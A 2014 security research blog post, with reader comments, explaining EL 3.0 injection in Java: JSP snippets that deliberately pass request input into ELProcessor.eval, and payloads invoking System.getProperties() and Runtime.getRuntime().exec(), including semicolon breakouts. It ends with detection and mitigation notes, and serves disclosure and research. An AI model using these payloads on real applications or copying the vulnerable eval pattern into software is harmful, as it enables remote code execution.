Wednesday, December 17, 2014

EL 3.0/Lambda Injection: Hacker Friendly Java

The following article explains the mechanics of a code injection attack called EL3 Injection in applications that make use of the relatively new EL3 processor in java.

New mechanics and operators introduced in EL3 make the discovery and exploitation of this exposure almost as easy and seamless as SQL Injection, and the impact of the vulnerability is severe, with potential impacts such as denial of service, information theft and even remote code execution.

Since the EL3 technology is relatively new it's probably not (YET) as common as other severe exposures, but at the very least, it will put a big wide THEY DID WHAAAAT!? smile on your face.

[Note – 
The following article discusses a generic application-level coding flaw in modern Java applications, NOT a java 0-day.

Keep on reading – the juicier RCE payloads are presented at the end]

While trying to (and miserably failing at) create a training kit for EL Injection (or Spring EL Injection, JSR245, if you will), published by Stefano Di Paola and Arshan Dabirsiaghi, I spent some time trying to get a working build of the eclipse-based STS IDE version which supported the vulnerable Java Spring MVC versions (Spring 3.0.0-3.0.5).

Turns out that someone did a REALLY GOOD job eradicating every trace of the vulnerable builds, leaving only time consuming options of compiling the environment from scratch.

Luckily, at some point, I decided to take a short break, and read about the relatively new EL in Java (JSR341, not necessarily in Java Spring) – and found something VERY interesting.

Turns out that the newest java expression language version, EL 3.0 (published sometime in 2013), includes multiple enhancements, such as operators, security restrictions on class access, and so on.

A typical source code sample of using EL3 in a Servlet or JSP page would look something like:
<%@page import="javax.el.ELProcessor"%>
<%
ELProcessor elp = new ELProcessor();
Object msg = elp.eval("'Welcome' + user.name");
out.println(msg.toString());
%>

The ELProcessor dynamically evaluates the EL statement, and attempts to access the "name" fields of the Bean (or registered class) user.

After taking a couple of shots at "guessing" objects that might be accessible by default, I stumbled on one of the features that can be used to define access to classes in EL3, which includes the ELManager class methods importClass, importPackage and importStatic.

These methods could be used to "import" various classes and even packages into the scope of the expression language, so they could be referenced within expressions.

So in order to use classes in EL3 expressions, you'll need to include them using statements such as –
elp.getELManager().importClass("java.io.File");

This feature was implemented due to safety concerns (or in other words, security), to make sure that access to classes is presumably prevented for any class that was not also included in the page/project original EL imports AND application imports, so that even if developers will enable user input to affect the "importPackage" or "importClass" statements, the external effect will be limited to the classes already imported in the context.

However, since many interesting classes and packages are typically used in Servlets and JSP pages, an attacker can still abuse this feature in multiple scenarios –

(1) If the developer already imported a class that the attacker needs into the EL context, and an attacker controlled input is used within the expression evaluation:
Input1 = "File.listRoots()[0].getAbsolutePath()"
<%@page import="javax.el.ELProcessor"%>
<%@page import="javax.el.ELManager"%>
<%
String input1 = request.getParameter("input1");
ELProcessor elp = new ELProcessor();
elp.getELManager().importClass("java.io.File");
Object path = elp.eval(input1);
out.println(path);
%>

(2) If the developer enabled the user to control the importClass/Package statement (no limits to human stupidity, right?), and already has a wide enough scope imported in the page/application imports:
Input1 = "File.listRoots()[0].listFiles()[1].getAbsolutePath()"
Input2 = "java.io.File";
<%@page import="javax.el.ELProcessor"%>
<%@page import="javax.el.ELManager"%>
<%
String input1 = request.getParameter("input1");
String input2 = request.getParameter("input2");
ELProcessor elp = new ELProcessor();
elp.getELManager().importClass(Input2);
Object path = elp.eval(input1);
out.println(path);
%>







So, here you go.
A nice exploit that will probably affect a couple of desolate apps, with super insecure code. Hardly worth its own classification.
However, while trying to squeeze some more juice out of the potential attack vector, I stumbled upon the following video, which explains the features of EL3 in great details.

To make a long story short, watch the video and skip to 7:52.
It's well worth your time.

Turns out that despite the security restrictions that required developers to explicitly import classes and packages to be used in the EL3 scripts, the java.lang package was included by default, to enable the typical developer to gain access to static type object and methods such as Boolean.TRUE and Integer.numberOfTrailingZeros.

They enabled access by default to the static members of classes in JAVA.LANG, as in the java.lang package that includes java.lang.System and java.lang.Runtime!

JAVA.LANG!

Seems like somebody there confused "user friendly" with "hacker friendly" J

So, if for some reason, a user controlled input would stumble into an EL3 eval clause, which for some reason java is encouraging users to use in many platforms such as JSF, CDI, Avatar and many CMSs, than attackers could do a LOT more with no requirements on specific imports -
Input1 = "System.getProperties()"
<%@page import="javax.el.ELProcessor"%>
<%@page import="javax.el.ELManager"%>
<%
String input1 = request.getParameter("input1");
ELProcessor elp = new ELProcessor();
Object sys = elp.eval(input1);
out.println(sys);
%>



Also, Instead of using the System class, we can use the Runtime static class methods to execute shell commands. For example:
Input1 = "Runtime.getRuntime().exec('mkdir abcde').waitFor()"
<%@page import="javax.el.ELProcessor"%>
<%@page import="javax.el.ELManager"%>
<%
String input1 = request.getParameter("input1");
ELProcessor elp = new ELProcessor();
Object sys = elp.eval(input1);
out.println(sys);
%>


An impact similar to that of the Spring's counterpart of EL injection, only in mainstream Java.
Cool. Now we can shamelessly classify the attack and rest.

But there's more!

Although scenarios in which the user's input will get full control of the entire EL string are possible, they are much less common than scenarios in which user input might be integrated as a part of an EL string, in which case most of the previously mentioned payloads won't work.

However, EL 3.0 was kind enough to present us with NEW operators, one of which is the infamous semicolon (;).

As its SQL counterpart functionality suggests, the semicolon delimiter can be used in EL 3 to close one expression, and add additional expressions, with or without logical relations to each other.

Think adding multiple lines of code to a single attack payload. Think injecting payloads into the middle of expression, while using techniques similar to blind SQL injection.

Don't think. Here's a couple of examples:
Input1 = "; Runtime.getRuntime().exec('mkdir aaaaa12').waitFor()"
<%@page import="javax.el.ELProcessor"%>
<%@page import="javax.el.ELManager"%>
<%
String input1 = request.getParameter("input1");
ELProcessor elp = new ELProcessor();
Object sys = elp.eval(("'Welcome' + input1);
out.println(sys);
%>
 


Input1 = "1); Runtime.getRuntime().exec('mkdir jjjbc12').waitFor("
<%@page import="javax.el.ELProcessor"%>
<%@page import="javax.el.ELManager"%>
<%
String input1 = request.getParameter("input1");
ELProcessor elp = new ELProcessor();
Object sys = elp.eval(("SomeClass.StaticMethod( + input1 + ")");
out.println(sys);
%>

So due to the implementation of the semicolon operator, potential injections can now CLOSE PREVIOUS STATEMENTS and start new statements, making the potential injection almost as usable as SQL injection. Features such as EL variable declaration, value assignments and others (watch the video) just add more fuel to the fire.

So much for enhanced security features.

We already identified a few instances that affect real world applications (no instances in core products, so far), and are currently handling them infront of the relevant entities.

I'll probably invest some more time in the upcoming weeks to see if any prominent java projects are prone to this issue, but in the meantime, some practical notes:

Regardless of how common these issues are, these potential exposures could easily be identified in code reviews or by source code analysis tools that track the effect of input on the various methods of the ELProcessor class, and on similar EL related classes. 
Generic blind injection payloads can be added as plugins for automated scanners, and we could go bug hunting to see if any more of these potential issues exists in the wild.

The mitigation is also simple, not embedding input into EL statements and validating input in case you do.

I'll update this post as the research progresses.

Cheers

5 comments:

  1. Hi Shay!
    You might be interest by : http://blog.h3xstream.com/2014/11/remote-code-execution-by-design.html
    Also, I have include references on the same topic at the bottom.

    ReplyDelete
    Replies
    1. Hi Philippe,
      I wasn't aware of the Rhino variation - Nice Post!
      I'll actually try and see if I can document it/classify it, and add the blogpost to the relevant list of resources.

      Delete
  2. This comment has been removed by the author.

    ReplyDelete
  3. Great article and it was very informative..I need more tips from your side..I am working in application code review

    how to secure source code

    ReplyDelete
  4. Great article and it was very informative..I need more tips from your side..I am working in application code review
    static code analysis security

    ReplyDelete